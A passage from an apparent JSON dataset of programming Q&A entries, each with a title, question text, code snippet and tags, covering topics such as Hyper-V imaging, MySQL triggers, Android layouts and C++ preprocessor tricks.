workstations are compatible and capable of running Microsoft Hyper-V Server 2008 R2
(Stand Alone). For my questions assume that each workstation will run their own
copy of Hyper-V Server with virtualized Windows 7 as guest OS. Please also assume
that the specs are adequate and there will be no large deployment of new desktops
in the near future. The client has volume licensing for Windows clients and
Microsoft Office.\nThe business's main concern is to minimize downtime of employee
workstations. I would like to know:\n\nIf Sysprep would work on the Hyper-V Server
with the Win 7 virtual image host already in out of box mode Ready for first boot?\
nIf the Hyper-V server OS (the base on each workstation) would/should become domain
members\nAre there enough tangible benefits to the client to outweigh the added
complexity. It is very appealing to the client that if a machine is FUBAR, a new
image can be deployed and running in an extremely short amount of time. (Client
insists on local admin rights for all and they do mess up their machines.)\n\n",
"", "windows-7 hyper-v sysprep"], "6006024": ["How To Create a Non-Linear Output
from a Linear Input?", "I'm not even sure how to ask this question, so bear with me
for a second.\nGiven a linear input value, such as floating point numbers between 0
and 1, how can I produce an output that favors higher input values? \nFor example,
let's say I have a function that generates probability values between 0 and 1,
where 0 is a definite NO and 1 is a definite YES. Between 0 and 1, anything above
0.9 is a likely YES and anything below 0.5 is a likely NO. Now, let's say I want
to produce an output value based on those probabilities that favors (places more
value on) the higher end of the scale, and that the output value should be integers
between 0 and 255.\nSo, a manual example goes like this:\n\nThese exact outputs
aren't of interest for me, I'm simply trying to show the concept---that the
majority of the available output numbers are achieved from probabilities between
0.9 and 1.0.\nIs this approximating a logarithmic scale? Something else? Any easy
way to calculate this kind of output (something close to it concept, not
precision)?\nthanks!\n", "prob 0.00 = output 0\nprob 0.50 = output 50\nprob 0.75 =
output 130\nprob 0.90 = output 150\nprob 0.92 = output 155\nprob 0.94 = output 160\
nprob 0.96 = output 175\nprob 0.98 = output 200\nprob 1.00 = output 255\n",
"functions logarithms"], "687133": ["Select the Textarea using Button", "I want to
select the textarea field when user click on button.\nMy Code:\n\nJquery Code:\n\
nIt's not working.\n", "<textarea readonly=\"readonly\"> </textarea> <input
type=\"button\" value=\"Code\"/>\n", "jquery html5 jquery-selectors"], "2803816":
["get values from dataset", "i'v a table in db named , which has 2 columns & .
like below--->\n\nactually these values are of & respectively.\ni'v 2 more
listboxes( & ), which are already containing all rows and columns respectively.\
nnow i want to get these values(indexes) of Rows from table and separate them &
also get of those from & for a specific user like suppose for & bind with an
existing \n\nso that i'd tried this code below(its not complete, bcoz having some
confusion regarding the way to do this), but i think this is correct way to do
this, can anyone help me about this????????\n\n", "UserData", "c# asp.net database
datatable dataset"], "1945666": ["Use SQL 2008 SSRS and SSAS on a SQL 2000 Instance
and Database?", "The ERP system that I use is \"stuck\" in SQL 2000. The vendor
states that it will not work, even in 2000 compatibility mode with any version of
SQL higher than 2005. Due to corporate red tape I cannot use SQL 2005. \nCan I
install 2008 on the same server as a separate instance and then use the tools of
2008 to create SSRS and SSAS projects?\nCan they read directly from the SQL 2000
databases? \nIf not, could I transfer data from the 2000 instance to the 2008
instance with log shipping or perhaps a simple daily back up and restore? \nIf
necessary, I could set up 2008 on a separate server and then would attempt to move
data from 2000 to 2008 periodically and run SSRS and SSAS on that. Would this
work?\nAny input would be appreciated. \n", "", "sql-server reporting-services
ssas"], "2722573": ["Using database for Internationalization & Localization", "The
CakePHP book has a section on Internationalization & Localization. Bascially what
it says is Cake will generate a pot file and we have to create a .po for different
language file from the pot file. \nMy problem is I want the user to be able to edit
these localized text so instead of storing the localized text in the .po file I
want to store them in the database. \nSo how can I store the localized text in the
database?\n", "", "cakephp localization internationalization"], "3522930":
["Haskell newbie: use layout or not? What are the pro's and con's (use examples)",
"I cant seem to find much info on haskells layout features, as I understand it is
something like pythons formatting requirements except that is optional. How can I
choose not to use this option correctly? Would it be a good idea to start without
it so that I get a solid feel for the language itself?\n", "", "programming-
languages haskell coding-style"], "3524308": ["Unix will background running process
stopped after disconnect the session", "Say if I run some command in background:\n\
nand I close putty immediately (which is equivalent to disconnect current session
right?).\nWill the background process finish? Please advise, thanks.\n",
"./my_script.sh > /dev/null &\n", "unix bash"], "245959": ["How to avoid IE message
bar when page contains JavaScript?", "I am trying to insert following code to all
my pages:\n\nWhen I have this page and try to run the page from IE 8 then I am
being displayed a yellow bar on top of my page which asking me to allow the
plugin.\nNo other browser (firefox/opera/chrome/safari) does this.\nThis is
annoying to click this every time person visits page. How to disable this?\nI just
hope I won't have to use:\n\n", "<script language=\"javascript\">\n if
(top.location == self.location)\n {\n top.location = '../index.html'\n
}\n</script>\n", "javascript html css internet-explorer activex"], "5899031": ["Run
Web Site From Home", "I want to set up the web server at my home. I already have
registered for the domain name. I dont want to use hosting services. How should I
set up the Apache and the settings with the registrar of the domain name so that my
site is up and running?\n", "", "server website domain registrar"], "4408532":
["Why the play(netty3) upload uses single thread?", "I use play to develop my
project and embedded netty3 as my application server\nPlease check the following
test code:\n\nWhen I opened two browsers(Firefox and Chrome) to upload the files at
the same time, I debugged breakpoint in the ' upload(File file)' method. But I
found only 1 thread was processing. \nAfter that, then the second request came.\
nThe output is :\n\nBut in Tomcat/Jetty, there were two threads output in the
console.\nDid any body meet the same problem before ?\n", "package controllers; \
nimport java.io.File; \nimport java.io.IOException; \nimport
java.util.HashMap; \nimport java.util.Map; \nimport
java.util.concurrent.atomic.AtomicInteger; \n\nimport
org.apache.commons.io.FileUtils; \n\nimport play.Logger; \nimport play.Play; \
nimport play.mvc.Controller; \nimport play.mvc.results.RenderText; \n\npublic
class Upload extends Controller { \n\n private static Integer counter = 0; \n
private static final Integer MAX = 1; \n\n public static void index() { \n
render(\"/upload.html\"); \n } \n\n public static void upload(File file) {
\n System.out.println(\"start \" + Thread.currentThread()); \n
synchronized (counter) { \n System.out.println(\"middle \" +
Thread.currentThread()); \n if (counter > MAX) { \n
renderText(\"Sorry, the max upload thread is \" + MAX); \n } else { \n
counter++; \n uploadFile(file); \n counter--; \n
renderText(\"Upload success\"); \n } \n } \n
System.out.println(\"end \" + Thread.currentThread()); \n } \n\n static
void uploadFile(File imgFile) { \n File file = Play.getFile(\"/uploads\");
\n try { \n FileUtils.copyFileToDirectory(imgFile, file); \n
} catch (IOException e) { \n Logger.error(\"upload
file error\", e); \n } \n } \n\n} \n", "multithreading tomcat
playframework jetty netty"], "4978930": ["How to return a DECIMAL(4,0) in TEXT
keeping the 0000 format?", "I want to return in a Stored Function a value as TEXT
but I want to be , and not \nI have this code fragments:\n\nI tried\n\nbut failed.\
n", "0001", "sql mysql stored-procedures stored-functions"], "5066710": ["How to
resize Windows partition after conversion from RAID 1 to RAID 5?", "I'm using
Fujitsu PRIMERGY RX200 S6 with RAID controller RAID Ctrl SAS 6G 5/6 512MB (D2616) \
nI've migrated RAID 1 (2 discs) to RAID 5 (4 discs) without any problems and on the
fly without restarting the server. The new logical disk has now expanded in size
and I see it from RAID manager software. From Windows Disk Manager it is still seen
as old smaller size.\nI thought I can resize the partition from Windows once
migration to RAID 5 is finished but Windows doesn't see it. I didn't restart the
server yet.\nIs it possible to expand the disk size without destroying the data?\
n", "", "windows-server-2008-r2 raid raid5 ntfsresize"], "5605519": ["How to
enhance class with subclass code", "Consider the following code:\n\nNow, is it
possible to enhance instanceA with fields/properties defined by class B in-place?
So that instanceA now can be cast to B:\n\nI realize this is likely to require some
bytecode manipulation and/or proxying, but ideally would like to avoid it.\nThis is
largely a theoretical question, although on rare occasions such functionality would
come in useful.\n", "class A {\n public int data1;\n public int data2;\n}\n\nclass
B extends A {\n public int getSum() {\n return this.data1 + this.data2;\n }\n}\n\
nObject instanceA = new A();\n", "java polymorphism"], "4137829": ["Paypal Express
Checkout Timeout", "Integrated with Paypal Express Checkout, the PHP SDK, tested in
sandbox and worked fine, tested on live, worked fine.\nJust got some notifications
that payments were failing. As far as I was concerned things were working fine,
nothing has changed, but now its stopped working :(\nWhen I try it out I get a
fatal error, and debugging returns:\n\nIt is failing on SetExpressCheckout(), I
have checked the API password and signature, which haven't changed since it was
working. Nor has the code itself.\nBit annoyed as its NYE, my other halves
birthday, and only a week ago we had our second child, so I am enjoying paternity
leave and now have to deal with this :( I am stumped, any ideas?\n",
"[url:PPConnectionException:private] => https://api-3t.paypal.com/2.0/\
n[message:protected] => connect() timed out!\n", "php paypal"], "3081919": ["Why
such a cool issue-tracking tool not appear on wikipedia?", "I found BugNET to be a
very cool & FREE issue tracking tool! But looking at this wikipedia's Issue-
Tracking Comparison List, I cannot find . \nAnd my question is: Why BugNET is not
in the list? \nps.\nEven updated recently in 2011, wikipedia drop BugNET out of the
list :( while BugNET appeared since 2010. Please see below facts for the time.\n02
Nov 2010 BugNET 1st blog entry \n01 Apr 2011 Latest update revision of the
wikipedia list\n", "BugNET", "free wikipedia issue-tracking"], "1557718": ["When
using newtonsoft json.net to deserialize a string, how do I convert an empty string
to null for a nullable int?", "For example, if I have \n\nand my json string looks
like this:\n\nI get the error \"Could not convert string to integer\"\n", "public
class MyClass\n{\n public Int32? Id { get;set; }\n public string Description
{ get;set; }\n}\n", "c# json.net nullable newtonsoft"], "4816781":
["ImageMagick/Imagick convert PDF to JPG using native PHP API", "I\u2019m
attempting to convert PDF files into PNGs. It works great from the command line (I
do have GhostScript 8.64 installed). But from PHP I\u2019m having a problem:\
ncode:\n\noutput:\n\netc. etc.\nI'm not sure what I'm doing wrong here, but I
suspect it has something to do with my server configuration somewhere. I'm
running:\nApache 2.2.11\nPHP 5.2.8\nImageMagick 6.4.8-9\nGhostScript 8.64\n", "$im
= new Imagick($pdf_file); // this is where it throws the exception below\n", "php
image pdf pdf-generation ghostscript"], "3569098": ["Displaying Pin with Title
(annotation) once map loads", "I am working on my first app and within it I'm just
trying to have on button click show a map with a pin (and title on this pin of
location). I was able to load the mapview and to have it show the coordinates I
want. But when trying to display the pin and annotation I am having issues. Not
sure where to code this and how to make annotation to display pin. I've searched
and seen many tutorials, but most show a different mapview style and are showing
pin on user selection, I want to show pin on load of map. \nHere is the code I have
to show the map which is working, but has no pin display or annotation:\
nFirstLocateViewController.m code:\n\n}\n\nFirstLocateViewController.h code:\n\
nThank you in advanced for any significant help.\n",
"#import \"FirstLocateViewController.h\"\n\n@implementation
FirstLocateViewController\n\n@synthesize dismissViewButton;\n\n-
(IBAction)dismissView:(id)sender {\n[self dismissModalViewControllerAnimated:YES];\
n}\n\n- (void)viewDidLoad {\n[super viewDidLoad];\nCGRect frame = CGRectMake(0,0,
320,420);\nmapView = [[MKMapView alloc] initWithFrame:frame];\nmapView.mapType =
MKMapTypeStandard;\nCLLocationCoordinate2D coord = {latitude: 12.3456, longitude: -
7.890};\nMKCoordinateSpan span = {latitudeDelta: 0.05, longitudeDelta: 0.05};\
nMKCoordinateRegion region = {coord, span};\n[mapView setRegion:region];\
n[self.view addSubview:mapView];\n", "iphone xcode annotations mapkit"], "4104710":
["Can TeX code be safely executed from untrusted sources?", "MediaWiki allows one
to embed TeX math code that is rendered into images and posted into the Wiki pages.
Is this safe? If one allows untrusted users to input TeX programs to be executed
by an interpreter running in a web server, does it open the server up to being
hacked by using the TeX interpreter to read files from the server's disks? Is
there a way to execute untrusted TeX code safely?\n", "", "web-applications latex
tex trusted-vs-untrusted"], "2765298": ["gets rows from mysql where row elements
date is between now & 5 days from now", "I know this has prob been answered, but
I've searched for almost an hour now and Im not finding my answer.\nHere is my sql
query.\n\nHere is the format of the column 06/30/2011 8:30 AM\nThe query isn't
having any errors, Im just not getting any results...\n", "SELECT *\nFROM
(`calendar_event`)\nWHERE DATE_FORMAT(`start_time`, '%m/%d/%Y')\n BETWEEN
CURDATE() + INTERVAL 5 DAY AND CURDATE()\n", "mysql date"], "5019317": ["Is there a
latest example of using mutex under boost 1.48.0?", "Most of the examples I've
found on the web are outdated, using boost::mutex which I've failed to declare
either including or . Is there any clear example of how to use boost::mutex in ver
1.48.0? The tutorials in Chapter 27 (Threads) are extremely unclear and do not
provide any code samples.\n", "", "c++ multithreading boost mutex"], "2680780":
["Can I have dots in a hostname?", "I'm using names like a.alpha for the hostname
of my linux box, but it seams that these name are not completely usable. The
response of a hostname shell command is correct (a.alpha).\nBut the name printed
after my user account is \"user@a\" instead of \"[email protected]\". When I use avahi,
I can reach (by hostname) a.alpha, but not b.alpha. Is that normal?\n", "",
"hostname linux-networking avahi"], "1199608": ["an alternative to mysqldump?",
"First of all, I am having serious problems with MYSQLDump, We have a dedicated
server here for our main domain and I am running the following command:\n\nand I
get nothing :(\nBut more importantly, I don't have root access to every server I
have access to. But I do have database username and passwords. Surely there is a
PHP only way of dumping the entire contents of a SQL database?\n", "mysqldump --opt
-h localhost -u root -p ***** --all-databases >
~/var/www/vhosts/mydomain/httpdocs/db.sql\n", "php mysql mysqldump"], "3299712":
["UITableViewController: scroll problem because of UITextField in my cell", "I have
a grouped with one section and many rows. Each consists of two elements: a with
a description and a for an input. A form, so to speak ;-)\nNow I have a problem
when I try to scroll the entire . Only on about half of my finger movements, it
scrolls.\nAfter I've studied the phenomenon more accurately, I noticed that the
scroll works only if I hit the with my finger. If I hit the coincidentally, the
does not scroll.\nWhat can I do to solve the problem?\n", "UITableViewController",
"iphone objective-c ios uitableviewcontroller"], "3118571": ["How to set exact
radius for a node?", "I have a bunch of nodes and would like to size them so that
their areas represent some numbers I have (so that if I have two nodes with
corresponding values 1 and 2, then the second node's area should be double the
first's). I'm trying to achieve this using some combination of and , but I've
noticed that if I set to , then a node with will not be double the area of a node
with .\n", "minimum size", "tikz-pgf nodes"], "455627": ["Rerporting Services Web
Service renders without a toolbar", "The SSRS WS documentation lead me to believe
it is possible to render a report with the toolbar the same way as is rendered by
the Report Viewer control in ASP.NET however no matter what I do all I get is the
plain report.\nMy device info currently looks like this and I tried removing
everything and leaving only the toolbar, attached a debugger to the reporting
service executable to see if the parameter was arriving correctly and it is but for
some reason no toolbar is ever rendered.\nHow do I make this work?\n",
"<DeviceInfo><HTMLFragment>true</HTMLFragment><Toolbar>true</Toolbar><LinkTarget>_s
elf</LinkTarget></DeviceInfo>",
"sql-server web-services reporting-services ssrs-2008 toolbar"], "4964976": ["How
to mathematically formulate and illustrate the following statement?", "English is
not my native language and I'm trying formulate the following statement as simple
and as mathematical as I can:\n\nA code is composed of a family name followed by n
option(s):\n\u00a0\u00a0\u00a0\u00a01: {family}\n \u00a0\u00a0\u00a0\u00a0n:
option(s)\n\nI have n+1 in mind but I'm sure I can use it in there.\nCould it be
formulated or illustrated any better?\nEDITS\nThe choice of family is independent
of the choice of options..\nThe family name could be anything
really, \"abc\", \"a100\", etc..\nAn option is a facet or characteristic of a
product..\nAn option could be anything: \"-Z\", \"01\", \"HH\"..\nRandom-on-the-fly
possible codes:\n\nabc-Z01HH\n a100-NFF02\n a250-V204C \n\nI am trying to
document the composition of product codes in a system.\nI'm questioning my usage of
n in the above statement.\nThanks\n", "", "terminology"], "2958135": ["How do I set
the hostname of a Windows machine?", "There are several questions similar to what
I'm trying to do here, but I can't find any that actually answer the question. Feel
free to just link me if you find one.\nI need to set the hostname of a Windows 7
machine. In Linux, it's a simple \n\nBut on Windows, I can't figure out how to set
my hostname to this without having an actual domain set up called . \nIs it
possible to do this? I have a DNS domain called but it is not a Windows active
directory domain, so when I try to set it in the Network ID menu in , it doesn't
recognize the domain and fails to connect.\nIs there a simple way to do this in
Windows?\n", "hostname mymachine.mydomain.com\n", "windows networking dns
hostname"], "172115": ["Keep the biggest values from source AND destination
(bitwise OR) in OpenGL ES 2.0", "let me explain the title a little. In the
framebuffer I have some color values (for simplicity I am going to refer only to
one color channel in binary e.g. 00000001 in a specific pixel). Then in that
specific value I am going to write a new value. The OpenGL should examine the
incoming value and the value that already exists in that pixel and keep the max of
both. In other words I want it to perform a BITWISE OR between the incoming and the
existing value. So, if the existing value is 00000001 and the incoming is 00000010
then the result must be 00000011. \nIn OpenGL ES 1.1 I think this was easily
achieved using the glLogicOp
(http://www.opengl.org/sdk/docs/man/xhtml/glLogicOp.xml) function. But this is NOT
supported in OpenGL ES 2.0 (WHY WHY WHY they removed it?? :( ), and I cannot think
of a blending function that can achieve a similar result (I think this is
impossible using blending). Should I use the stencil buffer or another trick in
order to achieve my goal?\nCan you describe the steps for it?\nP.S. I know
everything is possible using shaders but this will require a huge effort to
implement now. If it is the only solution then please give me directions for this
approach.\nThanks in advance.\n", "", "iphone opengl-es bitwise framebuffer
operations"], "2930017": ["How do WPF toolbars change their buttons' styles?", "In
WPF, if you put a Button inside a ToolBar, the button automagically gets a
different style: no border by default, different hover effects, etc. What mechanism
does WPF use to accomplish that?\nI know how to restyle all the buttons in the
program, by putting a into the Resources in App.xaml. I know how to restyle just
the buttons in a single parent panel, by putting the same into the panel's
Resources. But I don't know how to make it reusable, so that I can apply it to
multiple different panels (but not the whole app) and have it restyle all the
Buttons in those panels.\nToolBar has the magic to make an \"apply to all my
children\" style reusable. How does it do that?\n", "Style TargetType=\"Button\"",
"wpf styles toolbar"], "3483936": ["Do I need OAuth to get public twitter status
updates?", "I just need to retrieve a public user feed, but some aspects of
Twitter's documentation are terrible (unless someone else knows of a \"What you can
do with the API\" page). Do I need to use OAuth for something as simple as that?
Does registering an application with Twitter make it public in any way? (I would
expect not, but the \"Application Name\" must be unique, which makes me worry.)\n",
"", "twitter twitter-api twitter-oauth twitter-feed"], "53138": ["multiple mysql
linked grids with EditableGrid", "I am working through the EditableGrid demos
modifying the code to understand it and reach a working example of multiple grids
with the write-to-db example. I am a non-programmer and vba-hack.\nCreating
multiple grids in non-db examples is simple enough. However trying to replicate the
code/structure for multiple grids I think prototype and this objects are might be
confusing me\nmultiple grids without the db-link/inline-edit:\n\nsingle grid with
the db link and inline edit: (a little modified from the example)\n\nif it helps
put overall context, the end result is to have several grids on a single page,
populated with single sql query, defined by a html form input {accounting sql
injection}, with each grid showing different fields from the db\ncould someone be
kind enough to briefly explain the context of prototype and this in the example
here \n", " window.onload = function() {\n editableGrid = new
EditableGrid(\"DemoGridMinimal\"); \n editableGrid.tableLoaded =
function() { this.renderGrid(\"tablecontent\", \"testgrid\"); };\n
editableGrid.loadXML(\"grid.xml\");\n editableGrid = new
EditableGrid(\"DemoGridMinimal2\"); \n editableGrid.tableLoaded =
function() { this.renderGrid(\"tablecontent2\", \"testgrid\"); };\n
editableGrid.loadXML(\"grid.xml\");\n }\n", "jquery datagrid"], "1713325":
["How to create a link to download generated documents in symfony2?", "Documents
are created by the system and saved to the folder /web/downloads. I have created a
view to display links which will allow a user to download the files, should the
user click the links. (standard click to download feature)\nI am new to Symfony2
and am getting around the whole routing/controller concept, but how would one
create a link to such files while still adhering to the MVC? Does one need to set
up routing with a controller or does twig have features which allow it etc.\nPS:\nI
have read questions such as How to create a download link in Symfony2? but i do not
get if they did something in the routing or just added links etc.\nThank you,\n",
"", "php symfony2 twig"], "5236548": ["Only static and const varibles can be assign
to a class?", "I am learning C++. Just curious, can only static and constant
varibles be assigned a value from within the class declaration? Is this mainly why
when you assign values to normal members, they have a special way doing it \n\n",
"void myClass::Init() : member1(0), member2(1)\n{\n}\n", "c++ initialization ctor-
initializer"], "1036218": ["Is using Android shared preferences for storing large
amounts of data a good idea?", "So I inherited this Android project from someone
else. The code currently seems to be storing huge amounts of data (that should
really belong to an SQLite database) into the shared preferences. I'm very
uncomfortable with that part of the code and want to start using the sqlite
database. But I am still unable to justify to myself the time it would take
especially if it comes with no immediate benefits. \nOf course I'm eventually going
to move it to sqlite but since I'm kinda on a tight deadline I was wondering if
this is worth something doing now or later.\nAny thoughts and comments on storing
large amounts of data in shared preferences would be very much appreciated.\
nThanks\n", "", "android sqlite sharedpreferences"], "5110682": ["Android Layout
Issues, using relative measurements, but density seems ignored/mishandled", "I
apologize if this has been answered elsewhere, but I have not been able to find it
if it has.\nI have a simple application that is using a RelativeLayout inside a
ScrollView (and yes I have \"fillViewPort=true\" in my scrollview definition) to
define a screen full of inputs and textviews etc.\nOn a normal device (HVGA skin)
in the emulator things line up pretty well, there is a tad extra space at the
bottom, but nothing outrageous.\nWhen I launch the app on an AVD scaled to WVGA854,
that small amount of extra at the bottom becomes much much more of the screen.\nALL
of my dimensions in the layout are relative sizing, SP, DP, DIP etc.. nothing in
absolute pixels. Yet this delta persists.\nI thought the entire purpose for using
relative definitions of sizes was so android would handle the layout changes
relatively clean? I know the size of the screens is significantly different
328x480 vs 480x854.. and it does seem that Android did scale the layout to some
level, but it seems as though that scaling was based more toward the delta of the
screen width than to do the delta of the screen height, which is significantly
smaller.\nSo I tried to create a layout-large version of the screen, /res/layout-
large/file.xml but then I began getting compiler errors on the generated R class
saying \"resource exists with a different case\" and they persist until I delete
the file.xml.. As a starting point I am using the same XML and intend to modify for
the resolution layout. \nSo at this point I'm confused.. Why would it throw this
error on having a large layout version of the layout definition? Is there a better
solution than what I am trying to do? \n", "", "android layout screen-size"],
"1006332": ["Submit form to new window's frame", "I want a html-form to\n\nopen a
new window (which contains 2 frames)\nsend the data of the form to one of these
frames as a request\n\nIs
this possible? Currently, the form just opens a new window with and sends the
request to the URL of the page that processes it. But what I want is that the new
window that opens has two frames, one of which processes the form data.\nI hope you
understand my question and thank you for an answer.\n", "", "html forms request
submit frame"], "1078945": ["C source analysis", "Its time to ask: I need a C
preprocessor library.\nThere's an identical question on this, but I don't think
that relying on an external application like cpp will solve my needs.\nI'm trying
to analyse a C-style language which supports C preprocessor. The information I need
to produce is the list of preprocessor symbols that the underlying source code
depends on. Optionally, I need to solve conditional preprocessor directives, given
a set of defined preprocessor symbols and include paths.\nMy initial solution was
my own regex-based implementation, but (as you can imagine) it cannot work in all
cases. Macro substitutions, multiple parenthesis, string concatenation, macro
arguments are examples on what I shall face to get it right. You can find my
(partial) implementation here.\nSo, I'm looking a library (preferably on .NET, but
it is not required) which allow me to get information about all preprocessor
symbols declared (or supposed to be declared) in source code and their definition
(hence their inter-dependencies).\nAre there any solution?\n\nThe main goal would
be the management of OpenGL Shading Language sources. One of the used techiques to
manage those source is the preprocessor conditional (using standard C
preprocessor): one single source for getting many shader programs without using
run-time conditionals (improve performances).\nThe preprocessor information is used
for source analysis, source editing (especially syntax grayout functionality), and
(more important) compiled shader object caching.\nCompiled shader object caching
allow faster program linkage by caching objects composing future programs (avoid
repeated compilation of the same sources). Caching is based on the source text and
the compilation parameters (indeed the defined preprocessor symbols). Indeed the
application shall analyse the source code for getting a list of symbols used in the
conditional: this list is used for computing cache hash values.\n", "", "c parsing
preprocessor code-analysis"], "4369936": ["Is there a common set of packages that
is available in every distribution?", "Or at least in most distributions...\n", "",
"packages distributions"], "443789": ["How can multi-touch be used in
uiautomator?", "I haven't found any way to automate multi-touch movements in
uiautomator tests\nGiven it's framework of com.android.uiautomator.* classes, how
can I automate multi-touch movements?\n", "", "android integration-testing
uiautomator"], "864562": ["Grails: Rendering two Views simultaneously with one
Controller Action", "One action of one of my controllers needs to
generate(redirect/render) two separate views simultaneously and show both the pages
to the client. It will be like when the user submits his info, the page will
redirect to a new page with a list. At the same time another page needs to pop up
in a new window containing some additional info (user would print this page). I
know, I can resolve the issue with a single page, but I was wondering whether there
is any ways to produce two separate pages/windows simultaneously from a single
controller action.\nThanks in anticipation\n", "", "grails view controller
multiple"], "4873097": ["mysql_real_escape_string in PHP CLI", "I have a script
that I want to cron scheduled. Its all fine and dandy when I tested in the browser,
working as it should but when run from php cli (php cron.php),
mysql_real_escape_string loses the value given.\nAny idea why?\nUPDATED with code
and a connection made before mysql_real_escape_string (but still not working)\n\
nHere is output print_r of $prosArr[$i] obtained straight from the same CLI script\
n\n", "$dbh = new PDO(\"mysql:host=localhost;dbname=xxx\", 'xxx', 'xxx'); \
nforeach ($prosArr[$i] as $val => $key) {\n $fieldsStr .= \"`\".trim($val).
'` , ';\n $fieldVal .= '\"'.mysql_real_escape_string($key). '\" , ';\n}\n",
"php mysql php5 php-cli mysql-real-escape-string"], "2033863": ["Two-colum task
list with status information", "I'm trying to generate a two-column task list with
status information in the second column. It has to allow page breaks and should
look more a less like this:\n\nI managed to hack something together using and but
it's a bit a mess and the spacing is odd. Originally, there was too much space
between the tasks (I added the negative ) and the status was originally supposed to
be top-aligned (same height as the task title; I added the m qualifier for the
first column). Ideally, it would just be one list with title, task text and
status.\nAny suggestions? \n\n", "tabu", "page-breaking two-column enumitem tabu"],
"4378826": ["Writing programs without graphical IDE", "I am not sure if this is
even possible but I have watched a few videos with programming examples where it
seems like the program is being written in some kind of command prompt rather than
a nice graphical IDE. Im just curious as to what might be going on in these videos.
Is it possible to write a program without an IDE?\nheres two
examples:\nhttp://www.youtube.com/watch?v=hFSY9cWjO8o( @ 6
min)\nhttp://www.youtube.com/watch?v=tKTZoB2Vjuk (@ 5 min)\nCould anyone explain
how this is done?\nThank you all for the great feedback!\n", "", "ide"], "5605691":
["What's the relative order with which Windows seach for executable files in
PATH?", "If I have a.com, a.cmd, a.bat, and a.exe files %PATH%, which one would
Windows pick if I invoke just the command \"a\"? Is this officially spec-ed
somewhere by M$?\nI just wanted to wrap my gvim.exe executable with -n, but my
gvim.bat doesn't appear to get run neither from the command line, nor from the Run
dialog.\n", "", "batch path vim wrapper"], "5801996": ["Migrate folder user
permissions in a windows file server migration", "First of all I'm not a Windows
administrator so that perhaps this question is total nonsense.\nWe are going to
migrate our Windows file server to another machine, the people who are going to do
the job know how to replicate the folders and files (copy/paste perhaps?) but they
don't know how to migrate the file and folder user permissions.\nIs there a tool to
do it automatically?\nBy searching through Stackoverflow I see there is a windows
command \"CACLS\" which shows and sets permissions, so that i can write a program
which loops through the file system and calls the command to show and set the
permissions.\nIs this aproximation ok?\nP.S. Sorry for my bad english\n", "",
"windows migration file-permissions"], "5931871": ["Java path problems on Cygwin",
"I'm trying to compile a Java project under Cygwin using a native Win32 Java.\nThe
Java binaries are correctly found under on my machine.\nThe following command
works fine:\n\nThe file is generated in . Trying to invoke Java on this fails
however:\n\nThis command was invoked by , that's where the variable is set
dynamically. is just a list of class names. The in the classpath looks
suspicious, but I'm not sure how to test while not annoying .\nMy only other
suspicion is that the native Java is trying , but I think cygwin can transparently
handle that.\nAny ideas? Thanks for your time.\n", "/cygdrive/c/jdk/bin", "java
cygwin"], "3285080": ["Google Chrome 21 is not supporting --disable-web-security
command line switch", "Since the latest release of Google Chrome browser version
21.* and Selenium Chrome Driver version 22.* , the special command line switch \
u201c--disable-web-security\u201d which we have been using to test our iframes
with different domain is no longer supported (deprecated).Is there any workaround
for the same to automate our frame which is in different domain in Chrome browser?\
nOur existing functional Automation framework completely depends on this switch (--
disable-web-security).Response would be appreciated.\n", "", "google-chrome
webdriver selenium-chromedriver"], "292146": ["Disable Autodiscover in Outlook",
"My Dad's Outlook constantly asks him for Autodiscover settings. Since he is using
1and1 and I'm hosting the domain and doing email forwarding, I'd like to disable
the Autodiscover process on his PC. How do I do that?\nThis is specifically the
Exchange HTTPS Autodiscover process for Cached Exchange on Outlook 2007.\n", "",
"exchange outlook outlook-2007"], "5024724": ["Linq to Entity Query with Subquery
returning error", "I've got a Linq to Entity query with a subquery that is
returning an error that i'm hoping someone will be able to help me with.\nError
Message:\n\nLinq Query:\n\nThanks in advance,\nChris\n", "\"Unable to create a
constant value of type 'SmallBusinessManager.Models.TransactionAllocation'. Only
primitive types ('such as Int32, String, and Guid') are supported in this
context.\"\n", "c# linq-to-sql linq-to-entities"], "5569930": ["Trigger - Error
#1442 Can't update [MYSQL]", "\nPossible Duplicate:\nMySQL triggers cannot update
rows in same table the trigger is assigned to. Suggested workaround? \n\nI have
some problems with this trigger:\n\ntable payment_out\nid1\nid2\nhow_much_to_pay\n\
ntable payment\nid1\nid2\ncash\nmonths\nERROR:\n\n1442 - Can't update table
payment_out in stored function/trigger because it is already used by statement
which invoked this stored function/trigger.\n\nWhen I make something
like \"new.o.how_much_to_pay\" it says it doesn't see column named
new.o.how_much_to_pay. Any ideas?\n", "create trigger pay_out before insert on
`payment_out`\nfor each row\nthen\nUPDATE `payment_out` o\nINNER JOIN payment p ON
p.id_1 = o.id_1 AND o.id2 = p.id2\nSET o.`how_much_to_pay` = p.cash / p.months;\
nend;\n$$\n", "mysql syntax triggers
mysql-error-1442"], "2762803": ["Styling Attributes in android", "Where can I find
the list of styling attributes for all android
components?\nexample:\n@style/MyTheme.ActionBar.TitleTextStyle\
nandroid:titleTextStyle does not appear on the drop down when I edit it on XML.\
nlooking for complete references for these, does anyone know where I should look?\
nThanks devs!\n", "", "android styles themes"], "3582105": ["Reusable preprocessor
__COUNTER__", "I am doing some template meta programming, mostly just writing my
own compile time list, but I also have some preprocessor magic which I want to use
to make things easier if possible.\nWhat I am trying to do is create a compile time
list of functors. That part is done, but the macros to ease creation (and add to
the list) are not.\nAn example in brief:\n\nNow, this works because I have created
a large set of preprocessor macros for PP_DEC, ie:\n\nThat's the part I really want
to avoid and the reason I am asking this question. Does anyone have a suggestion on
how I can use COUNTER without increasing its value, or some other way I can
accomplish a counting pattern similar to:\n\nSuggestions that change the semantics
of push_back, etc. are of course also welcome :).\nPS. This is not meant for
production, only for fun. So GCC specific extensions are welcomed. \nPPS. I am
trying to avoid external dependencies, such as boost, as I want to understand
everything I am doing (the whole point of this project).\nThanks up front.\n",
"template<typename Functor, typename Tail>\nstruct node {\n typedef Functor
head;\n typedef Tail tail;\n};\n\n\ntemplate <typename Functor, typename Tail>\
nstruct push_back {\n typedef node<Functor, Tail> list;\n};\n\nstruct unit0 {};\
n\n#define AUTO_FUNCTION(name) struct test_functor_##name { \\\n
static void run_test(); \\\n};
\\\ntypedef push_back< \\\n
test_functor_##name, \\\n
CONCAT(unit, PP_DEC(__COUNTER__)) \\\n >::list
CONCAT(unit, __COUNTER__); \\\nvoid
test_functor_##name::run_test()\n\n\nAUTO_FUNCTION(hello) {\n ...\n}\n", "c++
